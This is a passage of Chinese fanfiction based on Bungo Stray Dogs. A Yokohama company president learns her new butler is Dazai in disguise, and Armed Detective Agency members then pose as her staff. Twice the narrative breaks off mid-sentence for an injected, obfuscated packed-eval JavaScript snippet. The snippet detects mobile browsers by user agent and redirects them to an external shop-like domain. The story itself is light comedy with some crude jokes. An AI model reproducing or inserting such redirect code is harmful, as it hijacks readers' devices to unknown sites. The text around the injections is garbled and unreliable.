我每天瞪圆了眼睛在我周围那群人里找,对一个脸盲患者来说,这简直是一种精神折磨。 我虽然对太宰没印象,但我对港口mafia还有刻板印象。 既然他是mafia出身,那性格什么的也应该大差不差吧。 反正就是黑设会嘛,底色都是冰冷和血腥,说不定连笑都是“桀桀桀”的。 而现在我身边的人个个和蔼可亲,也没见到有谁冰冷血腥桀桀桀。 以至于我连找了两个月,头发又掉了一大把还是找不到。 气的我想撂挑子不干,这总裁谁爱当谁当吧! 而当我发出灵魂深处挣扎痛苦的声音来表达我对成为横滨首富 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他能有这么好心我当场活吃了自己。 当然我并不怀疑他能认出我身边潜伏的人,饭团先生的情报工作一直做得不错。 但凡他是在刚见面时心平气和的告诉我,或者以此为筹码向我要求点什么,我都会很乐于和他沟通。 但是他偏偏在这个时候用一脸看好戏的表情问我要不要知道潜伏的人是谁。 我只觉得他要害我。 毕竟我前一秒还在委婉的骂他多管闲事。 饭团先生又不是圣母,他没现场弄死我都算是好涵养。 他的道德底线比他的精神状态还不稳定,而他这时候冒出来这句话摆明了是想出了什么法子来折磨我。 想明白这一点我心狠狠一沉。 即使饭团先生还什么都没说,但在我看来却说了很多。 我深知他这是要报复我。 而饭团先生这么一个阴险歹毒不择手段狡诈狠辣的阴间人,严选出来最完美的报复方式…… 竟然是告诉我那个潜伏在我身边的人的身份。 这得是多吓人的身份? 眼看着饭团先生要张口,我当机立断伸出手…… 捂住了我的耳朵。 我就是死,从楼上跳下去,也不会听他说一个字! 饭团先生:“……” 饭团先生挑眉:“倒也不用这么提防我?” 我狐疑地看着他,想着是不是我以小人之心度君子之腹,这人说不定真的是为了让我早点实现完美计划,不计前嫌来帮我的。 我慢慢放下了手,饭团先生眸光一闪,突然极速开口,闪电侠来了都堵不住他的嘴, “你身边那个新来两个月的管家就是太宰!” 10. 太宰和我 “你身边那个新来两个月的管家就是太宰!” 我:“……” 我重新捂住了耳朵。 饭团先生微笑,“你肯定听见了。” 我捂着耳朵倔强摇头:“不,我没有。” 饭团先生气定神闲,“你有。” 我宁死不屈,“我没有!” 饭团先生悠然一笑,“你有。” 我垂死挣扎:“我没有!” 饭团先生往沙发上一坐,“我今天左右也没什么事,我可以和你耗一整天,你有!” 我默默放下手,脸色苍白,眼神空洞。 “我刚刚好像幻听了,听到你说我值得信赖的、忠诚的、看过机密文件、参加过内部绝密会议、知道我家族大部分秘辛、连我的保镖都听他话的管家,是太宰。” 饭团先生:“你没幻听,为了证明你没幻听我可以再给你重复三遍,你身边那个管家是太宰,你身边那个管家是太宰,你身边那个管……” 我白着脸打断他,“求你闭嘴。” 饭团先生从善如流地闭了嘴,在他眼里大概我这像死了三天一样的脸色已经足够取悦他了。 饭团先生好奇:“怎么不说话了,你在想什么?” 我:“想死。” 我在饭团先生充满了幸灾乐祸的恶意目光中左手搭右手,给自己把了个脉。 不是,这玩意怎么还在跳啊? 饭团先生走了以后我一个人静坐了很久。 久到二大爷都开始委婉的让我滚回去。 但我完全分不出神去搭理他,我抬手给特助团打了个电话,“三分钟内我要管家的全部信息。” 特助团很热血沸腾,“好的总裁大人,我立马请最好的私家侦探和顶级特工去调查!” 我:“……你让人事科把他入职简历发我一份就行。” 白磷型人格吗?也不知道在燃什么。 在看到简历之后,我开始在脑子里面放电影,一帧一帧回顾我这两个月,回顾完后我脑子里只有一个想法—— 我他娘的是个瞎子。 我手机屏幕里正显示着从HR那要来的绷带精管家的入职简历,姓名这一栏赫然写着三个字——大、宰、冶。 我不可置信地擦了下眼睛。 没有那一点,真的是“大”。 我手都在抖。 他怎么敢的啊!他怎么敢的啊! 怪不得给他签奖金合约那一天,在我假装说我知道他叫什么以后,他那么意味深长的看着我。 他爹的他这是笃定了我根本不知道他叫什么,也百分百确定了我根本不会去看他在简历上编得这个见鬼的名字啊! 我找了那么久的太宰治,他就活生生的顶着大宰冶的名字站在我旁边看我找太宰治。 演吧,活爹。 我不会因为这个名字怀疑他,是因为我那与其他霸总如出一辙的坏习惯,上位者的通病,那如出一辙的傲慢。 我连如同我第三支手臂的得力管家叫什么都不甚在意,我连看他名字的耐心都没有。 因为没有必要。 管家对我来说不像是个人,而是一种代号。 只要他是“管家”,那么他本名叫什么都无所谓,因为在我口中只是“管家”,和司机田中叔、保洁佐藤姐、园丁小林桑没有什么区别,能记住个姓都算我闲得慌了。 就像当初刚接管家族那会儿,即使太宰和他的部下们是我花重金从森先生那借来的武装力量,但在我这里和“保镖”之间的区别也不大,那么他长什么样对我来说就一点也不重要。 而其他人不会因为这个名字或者长相就怀疑他。 他太正大光明了,以至于到了肆无忌惮的地步,这样违背常理的事能让一贯谨慎少事的打工人一致保持沉默。 更何况就连最该怀疑他的我都对他信任至极,其他人不会无端生事。 灯下黑。 他摸清了所有人的心态,用着一个我信任却符号化的身份,站在我的视野盲区。 利用我的傲慢,然后用这么一个敷衍的假名和一张毫不掩饰的面目,讽刺我的傲慢。 这个世界终于疯成了我不认识的样子。 杀千刀的,我管他叫了两个月的大管家啊! 我身上的鸡皮疙瘩一阵一阵地起,终于体会到了什么叫引火烧身,什么叫玩火自焚。 他跟了我两个月,我想过他会潜伏到我身边,但我没想到他会近到这种程度。 从我上位以来这还是第一次有这么强烈的失控感。 我防备了所有人却没防备他,因为近期我身边除了各种理由空降的人以外,只有他是人事部从几百个应届毕业生里选拔出来的最优秀的人才。 他怎么来的?嗯,老管家年纪大了退休了,这家伙光明正大应聘来的。 最重要的是招聘公告上明确要求最起码要有大学文凭,名牌大学毕业证、学位证是刚需。 也没听说过太宰读过大学啊! 这辈子都无法与办jia证的和解了,待会儿我就打市长热线把他们全举报了! 他这都能被人事部选中送到我身边来,要不是人事部部长是跟我起家值得信任的元老,我都怀疑他是不是部长的私生子。 饭团先生严选的报复方式真是简单有效,我现在受到的精神污染无异于一个人看恐怖片。 总觉得柜子里有太宰,厕所里有太宰,沙发后面有太宰,床下还有太宰,尼玛到处都是太宰,连马桶橛子里都有太宰的倒影。 我原先还愁找不到他,现在好了,哪哪都是,如果不管我自己的死活的话,我就根本不担心我的计划推进不下去了呢。 “找到了他就能开始下一阶段的谋划。” 这个念头闪过的时候我都佩服我自己。 事态发展到现在足以看出武装侦探社不可控。 但我前脚大肆挑衅饭团,后脚就试图利用太宰,连我自己都觉得我有一种不知死活的美感。 我现在的精神状态如同精分,一时亢奋的大脑充血,一时抑郁的想死。 亢奋是因为虽然太宰的身份重创了我的精神,但我甚至在不知道他的身份之前竟然就能歪打正着推进了我原本的谋划。 我竟然完成了让潜伏在我身边的武装侦探社的人去找潜伏在我身边的武装侦探社,并把二大爷的黑历史交给武装侦探社这一惊天大套娃! 一想到这一茬我就不禁喃喃自语:“我他娘的难不成真是个天才?” 抑郁是因为回去就要直面太宰。 我心里三分计划失控的胆战心惊,三分被欺骗的恼羞成怒,四分卧榻旁有他人酣睡的提心吊胆,复杂到整个人变异成一个发着黑气的扇形统计图。 他倒是不会对我造成什么□□伤害,但是他顶着管家的身份往那一杵,我看他一眼能做俩晚上噩梦。 我虽然已经打算按原计划进行,把他安排到老宅里,用他来对付二大爷,但是一时半会儿还真拿不准我现在该用什么态度对他。 我倒是想假装没认出他,还当他是 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然后他露出了万事尽在掌握中的微笑,沉稳的向我汇报,“不出意外的话,武装侦探社的人现在已经看到了。” 我看着他宠辱不惊的可靠嘴脸,岌岌可危的精神开始迅速崩塌。 我的素质和我的精神一起崩塌。 我脑内一时间热闹的不行,我的灵魂发出嘶吼,你**在说什么屁话,你**不就是武装侦探社成员,你**不就是太宰吗! 你敢单枪匹马混进来,敢起个见鬼的假名讽刺我,你甚至都敢不易容! 你这么能怎么不干脆直接鲨了我,你自己再去和疯狗出笼的二大爷单挑? 都别活了,省的劳资还得在这里演! 但我的理智让我明白,不管我心里骂得多狠,也要牢记面上绝不能崩表情,最起码装过这两天。 但我忘了我现在脑子里那根弦绷得多紧。 我勉强点头,尽力维持我原来的态度,下意识开口道:“好的,大za……” 我猛的收声,冷汗唰的一下冒出来了。 我意识到我犯了致命的错误,我对他起的那个假名耿耿于怀,以至于在精神不稳定的状态下说秃噜嘴了。 虽然第二个字甚至只发出了短促的气声,但在太宰治的面前应该和大喇叭喊没有区别。 即使这是他的假名,但他最清楚我以前根本不在意,充其量记得一个“大”。 然而我今天不仅记得清清楚楚还如此顺口的叫了出来,这不可能是巧合就能解释的事,就如同我不可能顺口管保姆王妈叫王月菊子,管司机老田叫田中铁柱。 那么以他的心智自然能猜出我重看了他的资料。 我没事当然不会重看他的资料,唯一的解释就是我必定是对他心怀疑虑以至于在调查他。 当我叫出那个名字的那一刻,就代表他暴露了。 这个名字不止是讽刺我这么简单,这还是他的警报器。 粗糙大胆,却难以置信的有效。 最要紧的是,我又不是傻子,明明在找太宰,却在明知道身边有人顶着“大宰冶”的名字时,还如此若无其事地叫出了口。 不挑明不点破,甚至粉饰太平,再结合我这不遗余力想向武装侦探社告二大爷黑状的举动…… 他必然能猜到我等同于黑吃黑的计划了。 这一局,我输在比不上他洞察人心。 我抬头,对上了他黑洞洞的眼。 11. 太宰和我2 我抬头,对上了太宰黑洞洞的眼。 我眼睁睁的看着他的嘴角一点点勾起,慢慢打破那副温和的假面,他漫声道,“总裁大人,好久不见。” “这下您能记住我的长相了吗?” 神医太宰,专治脸盲,战绩可查。 谢谢,这辈子都忘不掉了。 同在一个房间里的黑衣保镖在我脱口而出太宰的假名时就睁大了眼,他急切的向我走了两步,“你……” 我:极度后悔中,勿扰。 见我不理他,黑衣保镖的眼神有些忧虑在我和太宰之间转来转去。 他在这里着实有些碍事,我抬手向外面一指:“你先出去。” 他一动不动。 太宰看了他一眼,“芥川君出去。” 他立马乖乖出去了。 嗯,我应该在车底,不应该在车里。 我破防:“你们这么熟吗?所以一直在演我吗?。” 太宰歪头笑了笑,“在港口mafia的时候碰巧带过他几年。” 他这是一点都不打算装了。 以前和森先生合作的时候没少见他,结果没过多久他突然销声匿迹。 后来才知道他加入了武装侦探社,但我也没想到再见竟然会是这种情况。 从mafia干部摇身一变成了正义使者,洗的够白的。 他站在那里笑吟吟看着我的时候,总有一种以前一起偷鸡摸狗的同伙,背着我悄悄考公上岸的即视感。 难评。 我转瞬间又想起了黑衣保镖见他第一面时那个可疑的“太太太”,我的面目一瞬间更加扭曲。 好样的,保镖先生,你奖金没了。 黑衣保镖知道了太宰的身份,那么没道理他的顶头上司森先生不知道。 军警我想大概率也是知道的,而饭团先生更不用提,本来就是他泄密给我的。 就算他告诉我都是为了刺激我。 合着我最后知道是吧!都演我是吧!都装瞎是吧! 他们是装瞎,就我是真瞎啊! 我知道我的精神状态拜饭团先生所赐不太对劲,但一时半会还真平息不下来。 饭团先生好一手挑拨离间,搞得我就算打定主意装下去,但是看着太宰像回家了一样闲适安然待在我身边,时不时还装模作样说些更加刺激我的话,我就暴躁的想化身桌面清理大师,想歇斯底里的砸东西,想对着空气打拳击。 装不了一点,这b日子一天都过不下去了! 但是不行,即使到了这一步我也要继续装,所有人都要继续给我装下去! 我不能背上一丝一毫勾结外人对老宅主动出手的把柄,所以即使我俩目前在对方面前都跟裸奔一样,也得给我装瞎! 大家一起装瞎! 打定主意以后我立马扬起一张天真烂漫到比智障好不了多少的脸,开始硬着头皮扯淡,“管家先生原来还在港口mafia里工作过吗?是大学期间的实习吗?” 太宰治把文件放在桌子上,抱臂而立挑眉看我,好像我突发了什么恶疾。 我满脸感动,“是因为要赚取生活费,你这个……” 我偷瞄了一下他那瞎编的简历,“XX大学优秀毕业生才会不得已去那种黑暗的地方吗?真是令人心疼呢。” 太宰:“不是,你……” 我立马打断他,自信一笑,“不过现在好啦,你能力这么强,一毕业就能进到这里成为我的左膀右臂,不出三年应该就能晋升K7,想必前途光明!” 太宰干脆不说话,就这么懒懒靠在我的尊贵红木办公桌前饶有兴致的听我编故事。 我也不负众望,硬生生给他扯了一个清贫大学生因为生活困苦误入mafia却及时回头是岸最终入职世界五百强的励志身世。 不管他是谁,他都不能是太宰。 我这头拼死拼活粉饰太平,太宰没有一点尊重我劳动成果的意思。 他疑惑道:“这谁?” 我暗示他,“这你。” 他看着我似笑非笑,“这人除了性别可和我太-宰-治没什么关系。” 这是摆明了要挑明身份的意思。 大爷的他甚至还把自己的名字念的又重又长! 我把头转向一边,瞎了,听不见。 然后面不改色的点头,“好的大先生,知道了大先生。” 天王老子来了他都得姓大,这乱起名的回旋镖我就要扎到他身上。 但遗憾的是我没看到他产生什么负面情绪,甚至在我话音刚落他的眼睛就唰的亮了。 为什么他突然兴奋,为什么他的脸上写满了‘你要是这样那我就来劲了’? 他食不食油饼? 太宰对着我突然露出了一个极其明媚的笑,这是当他装作我内敛得体的管家时从未出现过的表情,他现在这样活像是人格分裂的精神病。 他好奇地问我:“如果我不呢?” 他真的和我记忆中那个冷冰冰的黑泥怪没有任何相同的地方,我就说人是会变的,不怪我认不出来。 我心好累。 不是,为什么暴露的是他,拼死拼活遮掩的却是我,能不能有点责任心? 他不仅没有责任心他还没有公德心。 我拼命给他披马甲,他拼命给自己扒马甲,这么喜欢裸奔你自己去奔啊!不要带上我啊! 我狠狠叹了口气,“那就不吧。” 然后反手给了他一张解雇信,“易容变装简历造假,我高度怀疑你是商业间谍,你被开除了。” 太宰眸中闪过一丝暗光,面上依旧带着悠然的笑,“我可没易容啊,你别冤枉我!还有,你这可一点也不像要找人合作的态度。” 我也没想合作啊! 我这不只想好好当我的总裁,吃着火锅唱着歌,然后看着你们正义的武装侦探社因为知道了实验室的秘密从而主动去查老宅,把邪恶的二大爷拉下马,正义的我再坐收渔翁之利吗! 你们现在非要把我也拉下水,连装傻都不能,我就不能断尾求生吗! 我面无表情,“怎么办,要不然你去劳动局申请劳动仲裁吧。” 我不想指望他了,我还是指望饭团子吧,那家伙虽然疯,但是很独立,能自己砍的人就自己砍,能自己炸实验室就自己炸,一点也不麻烦我。 虽然不麻烦我的原因是我也在他要砍的人的范围,但是能让我在这场对抗中隐身,那就是十个要和我合作的武装侦探社都没有的好处。 太宰看了我好半天,然后他突然意味深长道:“你到底在怕什么?家族大半都在你手下,你究竟为什么要退避到这种程度?” 啊,黑泥精的感觉又回来了。 不过他比以前高了几厘米,我就说人是会变的,还是不能怪我认不出来。 我一顿,指着门口道:“你可以走了。” 太宰却不动,他直直看我,半个身子都探过红木桌,声音很轻,在我耳边却仿若千钧, “你到底,有什么把柄在他们手里?” 你问我就说,我是点读机吗? 我面无表情看他,“你走不走?不走我叫保……” 突然想起门口那保镖和他是一伙的。 我硬生生改口,“就不给你结工资了!” 这话说的,我自己都觉得没有威慑力,爹的,等干翻二大爷,我要报警把港口mafia和武装侦探社都抓了。 太宰也不恼,他从善如流的直起身子,虚虚支着下巴,眼中尽是感兴趣的光,那样子活像找到了什么乐子。 看他这样我就知道他不可能就此罢休。 果然,他将解雇信慢条斯理的撕碎,然后随手扔进垃圾桶,调整了一下表情,在我见鬼的眼神中,他对着我再次露出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385728|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于内敛温柔管家的专业微笑, “总裁大人,您心情不好吗?那可真是我这个管家的失职,请您放心,我将竭诚为您服务。” 竭诚是假,抓我把柄才是真吧。 猜到二大爷手上可以拿捏我的东西,但又不知道是什么,他就像拖拉机加油,来劲了是吧。 我一脸复杂的看着他,虽然大家一起装糊涂确实是我想要的结果,但你猜我为什么不笑。 但左右也就这两个星期了,他既然已经顺着我的话装起来了,那大家相安无事最好。 我可以是嫌疑人,可以是工具人,但绝对不能明面上要干翻实验室的人。 无论是他们决定探查老宅,还是决定找把柄把那些人送去坐牢,都和我这个从头到尾蒙在鼓里的善良总裁没有关系。 他们是发挥了自己的主观能动性,自动自发去和二大爷作对的,可千万不能赖在我头上。 我目光沉沉的看着他,也不知道他到底懂没懂我这包含了八百字小作文的眼神。 太宰微笑着看着我,“总裁你忙吧,不用在意我。” 我点了点头,意味深长道:“是啊,都盲,盲点好啊。” 不管了,反正各自的身份、各自的谋划大家都心照不宣,他要拖我下水我也能当场反水。 打定主意以后我收回目光,正好看到了前面他放在桌上的机密文件,然后我非常生无可恋的叹了口气。 不是因为这些机密文件被太宰这个间谍看了,而是因为这些文件还没来得及处理,我他爹今天还要加班。 这一天我不仅和二大爷交锋、和饭团先生交锋、和太宰交锋,还得顶着岌岌可危的精神状态在回来以后疯狂加班。 说真的,地球爆炸吧。 我一边在心里反社会一边任劳任怨的拿起文件,我翻了翻,没什么大问题后就签了名,然后随手递给管……太宰,让他传达下去,接着再拿起下一份文件看。 既然说了要保持原样,那就也没必要现在开始提防他,反正他这段时间该看的不该看的都没少看。 再说能放在明面上的就算再机密也不过是些商业机密,他是来查案的又不是来商战的,现在藏着掖着倒显的我很小心眼。 我是递过去了,可等了半天没人接。 我疑惑的抬头,只见太宰一个后撤步,他先看了看递到眼前的文件,又看了看桌上剩余的板砖一样厚的文件们。 然后以肉眼可见的速度萎靡不振了下去,并非常矫揉造作的捂住了肚子,一点点往门口蹭,“总裁,我头痛,我要请假。” 我:“……” 我也头痛。 你头痛捂什么肚子啊!你丧尸王把脑子吃胃里了是吧! 你不用伪装身份了就开始摆烂了是吧!你还我吃苦耐劳聪明能干的管家啊! 我阴沉的看着他,“你敢走试试呢。” 太宰果然没走,我还在想是不是因为我总裁的威严,他却说是因为我冲天的怨气。 我怨气大到能复活十个邪剑仙。 凌晨三点,emo时间,我眼角含泪,安祥的闭上了双眼,“我身边没有一个知心人,我人缘真差,你先出去,让我一个人安静的流泪。” 太宰顶着能复活二十个邪剑仙的怨气,啪的一声把成山的文件摔到我面前。 他阴测测的看着我,咧开的嘴角看起来无比瘆人,“你敢睡试试呢。” 我上午起不来,他中午刚醒,我们通宵到早上八点和大家说早安,不用饭团先生多此一举了,我现在就有猝死的未来。 在闭眼之前我挣扎着递给太宰一个人事部的文件,这是老宅那边为了给二大爷办寿宴来问我征调人手的,日期就是两个星期后。 递给他以后我困的话都说不来了,只摆摆手让他自己看着办吧。 最光明正大进老宅的机会我给他了,他可要有点效率啊。 12. 武装侦探社和我 他可太有效率了。 我刚醒太宰就带着一水儿的人站在我面前,也不知道这么短时间他从哪里搜罗来的,他已经把睡眠进化掉了吗? 我问他这是干什么,他说这些都他新招来的人,准备带去老宅和他一起搜……给二大爷过生日。 看我这段时间很忙,就先安排他们在我身边给我帮忙。 还怪贴心的。 我挥了挥手,让他介绍一下,太宰递给我几份简历,我随手一翻,排第一的是一个清秀的少年,太宰微笑着向我介绍他的职位, “保安。” 我低头一看简历,中岛……郭? 我冷汗唰的一下就冒出来了。 太宰仿佛没看到我的僵硬,他再指着一个神色冰冷的御姐, “保洁。” 我再看简历,与射野晶子。 我磕了一把速效救心丸。 “助理。” 江户川刮步。 懒散的青年有一搭没一搭舔着棒棒糖,时不时向我投来一瞥。 “秘书。” 国木由独步。 一丝不苟的严肃男人推了推眼镜向我点了点头。 “快来,”太宰快乐的向门外招招手,背着草帽的男孩和穿着和服的女孩安静的走进来, “ 家里没有大人,两个孩子没人看管,当男仆女仆正合适。” 我:“……” 太宰兴致勃勃:“您觉得怎么样?” 我:“……要不然我去把雷碧收购了算了,哦还有康帅傅和口渴可乐,否则很难加入你们啊。” 这个世界是个巨大的精神病院,是你疯了还是我疯了还是你们所有人都疯了? 你们武装侦探社已经穷到要集体出来打工的地步了吗? 你们难道没有想过有朝一日被人发现你们顶着这种名字混到我身边,我会有怎么样的下场吗? 你们倒是功成身退了,所有人都会觉得我很呆啊! 我半夜睡觉都得坐起来,“不是,他们有病吧?” 上一次把人气成这样还是我在气二大爷,这个世界是个巨大的回旋镖。 我手抖心颤,组织了好半天语言后艰难开口,“你……” 七八双眼睛整整齐齐的看着我。 我下意识抽了口气,“我……” “我”了半天也“我”不出来。 万般暴言积在心口,我恍惚到最后脑子里只有一句话。 那俩孩子成年了没有啊,雇佣童工,是犯法的吧? 太宰还骄傲地问:“我们都为您效忠,您感动吗?” 我不敢动。 他得寸进尺,“那您开心吗?” 我开心的夜里都睡不着。 我不知道太宰把人都放在我身边抱着的是什么目的,但我猜他一定不安好心。 可偏偏我无法置喙,我既然选择了要隐身,那就必然要放弃行动的知情权,事实上也是我自己捂着耳朵不愿听的。 为了给他们腾位子,就连我身边形影不离的特助团队都被我强行放年假了。 走的时候一个二个眼含热泪,看着武装侦探社的人如同在看杀了全家的仇人。 毕竟抢人饭碗如同杀人爹妈,要不是我给他们的奖金多开了三倍,并保证绝不会开除他们,我都怀疑我这些上知天文下肢无力的特助们,敢自不量力的挥舞着键盘上去和武装侦探社拼命。 特助团很沮丧,我也很无奈,毕竟我也没法把武装侦探社赶走。 我需要他们为我冲锋陷阵,所以不管他们做什么,只要没有触及我的根本利益,我都必须装聋作哑。 道理我都懂,我给自己做了充分的心理建设,然而当他们真的每天在我身边晃来晃去的时候,我每天都头皮发麻。 我必须装聋作哑,这件事武装侦探社的人也心知肚明。 即使他们要在我面前大喊什么“月下兽”或者“人间失格”,我也只会默默移开目光,随便看向一个没有他们的方向,然后装模作样的感叹一下今晚太阳真大。 所以在我面前他们完全不会有伪装被拆穿的危机,这也就导致了一个问题—— 他们装了,却没完全装。 有员工来汇报工作的时候,他们是十足的好团队。 我完美的绷带精管家用着最妥帖的姿态立在我身后; 我严谨的眼镜秘书捏着钢笔从容不迫的记录重点; 我的眯眯眼助理和保洁御姐站在橱柜前慢条斯理的整理茶点; 我听话的男仆女仆安静的站在墙角等候差遣; 我深沉的黑衣保镖和清秀的保安默默把守着大门两端。 怎么看都是专业团队,非常有欺诈性。 员工汇报完工作径自离开了,门关上的那一刻,我这里就立马异变成武装侦探社分社了。 绷带精管家像尼玛断电了一样倒头就睡,我做工精良的真皮沙发都被他压出了屁股印,今天的工作一点不做,就这样还真是辛苦他了。 原本严谨的眼镜秘书拧着眉头,一扬手将笔记本准准砸到了他的脑袋上,骂他这个年纪是怎么睡得着的。 不远处的眯眯眼助理那响起诡异的咔嚓声,没记错的话这是他今天炫的第八包薯片了。 保洁御姐托着红茶杯惬意的品了一口,手机里放映得没看错的话是大火的综艺节目。 女仆转过头认真看着我博物架上重金买回来镇宅的匕首,男仆闲着无聊单手举着我重达二百斤的骨瓷大花瓶锻炼身体。 保镖和保安正皱着眉,一人的黑衣在空中张牙舞爪神色阴郁,一人的手臂异变成虎爪戒备森森。 就因为太宰今天随口夸了中岛敦一句,这两个人今天已经是第十七次试图在我办公室里斗殴了。 而我,横滨的首富,家族的总裁,正竭力催眠自己这一切都是压力太大引发的幻觉,然后默默带上降噪耳机,在武装侦探社分社里,面不改色的加班。 真是一场酣畅淋漓的作秀。 没有特助团的协助,武装侦探社也指望不上一点,我的工作堆积如山,如今的我两眼一睁就是干。 我其实觉得忙一点也没什么,不就是头发掉的多了一点,黑眼圈重了一点,眩晕的时间多了一点,猝死的概率大了一点,但彼此能就这样相安无事下去也挺好。 但是显然那位严谨的秘书先生并不这样认为,他觉得我并不应该放养他们,他们既然拿了酬劳,那就必须要付出等价的劳动。 为了把戏演的更真,我确实给他们开了不菲的薪水,我没想到他会这么较真。 而且高于市场价的部分也未尝不是补贴他们,毕竟人家是真的要去冲锋陷阵,我人场捧不了一点,钱场倒可以捧亿点。 我猜他并没有提前和其他人商量好,因为在他义正严辞让我给大家安排工作的时候,所有人都用“大哥你说的还是日本话吗”的眼神震惊的看着他。 秘书先生闲不了一点,他和我一样两眼一睁就是干。 只不过我是被迫的,他是自动自发的。 就没见过如此热爱工作的人,如果他不是武装侦探社成员的话,我都想挖墙脚了。 我看着手头堆成山的工作,又看了看一脸坚毅的秘书先生,稍稍沉吟了一下,然后满怀期待的问道:“既然这样的话……那你会玩cosplay吗?” 他明显愣住了,“并不……您是要给我安排与动画产业相关的工作吗?” 我笑的和善,“这倒不是,我就是在想既然你这么想工作……” 我诚恳的看着他,“要不你来cos我工作,我出去play两天。” 秘书先生的表情很是一言难尽,我看到秘书先生握着笔记本的手紧了紧,似乎条件反射想把笔记本砸到我的头上。 大概在他的心目中这么大一财团的总裁正常应该是雷厉风行兢兢业业的工作狂,每天不是在工作就是在工作的路上,而我显然不正常。 大哥,正常人都不爱工作,不正常的是你。 话说回来,他们老在我面前摸鱼确实也不利于我的身心健康,于是我就随便安排了一堆屁事让他们忙起来。 首当其冲的是眯眯眼助理,助理助理,说白了就是一块万能砖,哪里需要往那里搬,正好下午有一个例会,我就让眯眯眼助理去准备会议茶歇的水果点心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385729|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这个安排一出,我敏锐的察觉到武装侦探社其他人都投来了担忧的目光。 其实我能理解,江户川乱步是有名的侦探,但他却没有当助理的经验,其他人担心他也无可厚非。 但他们的目光好像看错了人,他们为什么都在看我,看起来他们好像对我充满了深切的担忧。 我摸不着头脑,只能把原因归结为他们可能集体散光。 直到下午会议间隙的十几分钟的时候,名侦探先生给我们一人发了一根甘蔗。 两米长的,小臂粗的,甚至还带着新鲜泥土的,甘蔗。 名侦探先生无辜的看着我:“你就说是不是水果吧!” 我,我的两个副总,四个主任,六个部长,我们的沉默震耳欲聋。 确实是水果,而且如果我们意见不合还能变成武器,让我们当场抡死对方。 我问江户川乱步为什么是甘蔗,他说因为他想吃。 侦探先生,你的命是命,我的命就不是命吗? 自从让名侦探先生当了助理,如同我生命一样重要的我的总裁逼格遭受到了前所未有的严重威胁。 下午我出门坐车,司机稳稳的把车停在我面前,我看着侦探先生,他回望以更为清澈茫然的眼神。 等了一会儿也没见他动,我抽了抽嘴角,认命的走上去自己拉开车门。 车门开了,我刚抬脚,他哧溜一下钻进去了。 司机田中叔都汗流浃背了。 我:“……” 我:“你是领导我是领导?” 晚上出去应酬,我夹菜他转桌,我洽谈他唠嗑。 我一口热菜没吃上,他倒在那边看了一眼就知道我合作对象一晚招了三个应召女郎,把我那合作对象说的老脸通黄。 应酬结束后,我开门他上车,我的内心已经毫无波澜,但我的合作伙伴大为震撼,甚至凑上来问我那么宠他是不是因为他有过人的长处? 他一边说,一边往侦探先生双腿之间瞟。 我:“……” 大爷的,本来应酬就烦。 我微笑:“22.5。” 我的合作伙伴带着自己破碎的男性自尊心踉踉跄跄的走了。 我上车后还没松口气,名侦探先生皱着眉,“什么22.5?什么长处?” 我一僵,糟了!忘了把孩子耳朵捂上了! 我小心翼翼道:“你觉得呢?” 名侦探先生一挺胸,骄傲的开口,“我的长处当然是我的异能——超推理!” 我松了一口气:“没事了,玩去吧。” 没等我放松多久,司机田中叔突然转头对着我欣慰的笑,“这还是总裁第一次带男孩子出门呢,好久没见到总裁这么开心了!总裁您看您这样多好,为什么总要一个人呢?” 我平静开口,“因为半个人出门会吓死人。” 田中叔什么都好,就是豪门甜宠文看的太多,总致力于把我和身边任何符合人类审美的生物凑成一对,包括不限于180男高,155甜妹,160正太,175御姐,以及17.5斤橘猫。 性别什么的已经不重要了,最后一个甚至超过了人类的范畴,我怀疑他下一次给我凑对的说不定就是六房榴莲。 我回来的时候全体武装侦探社成员都对我报以关切的目光,甚至小心翼翼的来问我江户川乱步干得怎么样。 问吧,一问一个不吱声,只能说挺通人性的。 我沉默了很久以后淡淡道:“我知道他其实不是故意的,因为他的眼神里是懵懂的,是天真的,是无邪的,是单纯的,是清澈的……” 我开始咬牙切齿:“……是不懂人情世故,是没有任何常识的。” 名侦探先生坐在沙发上炫甘蔗,闻言他的眯眯眼都睁大了一点,“咔嚓……你怎么夸着夸着……嚼嚼……还骂人呢?嚼嚼……” 你可以没有常识,我就不能没有素质吗? 还有,名侦探先生,你可以说话,也可以炫甘蔗,但请不要一边说话一边炫甘蔗。 你甘蔗渣掉了一地,为了掩饰你们的身份,真保洁都被我调走了,到时候还得我本人来扫这个破地。 13. 武装侦探社和我2 基于名侦探先生的前车之鉴,我彻底对武装侦探社那些人打工的能力丧失了信任。 一个助理都能让我的素质岌岌可危,要是把他们全部安排来,会发生什么我想都不敢想。 太宰还每天都在摆烂,他再也不是我靠谱能干的管家了,他现在离干尸只差还没干了。 而唯一试图辛勤工作的国木田先生还因为每天都在督促太宰不要摆烂,耽误着自己的大好人生。 我路过的时候正好撞见他在教训太宰,“你每天中午11点才来上班你的良心不会痛吗?” 我闻言,凑过去幽幽开口,“接每天11点上班。” 国木田先生拧着眉头,用不赞同的目光看着我,“什么都接只会害了你,会开完了吗?合同审完了吗?新一季度的财务报表看完了吗?” 我睁大眼:“我堂堂一总裁……” 国木田:“所以呢?总裁就可以好逸恶劳?总裁难道不是股东的高级打工人吗?你要不要看看财报,人家A企业和B公司这个季度上涨了三个百分点,你呢?下降了五个百分点!你就不怕股东对你问责?难道你想像这个浪费绷带的装置一样浪费你的人生?” 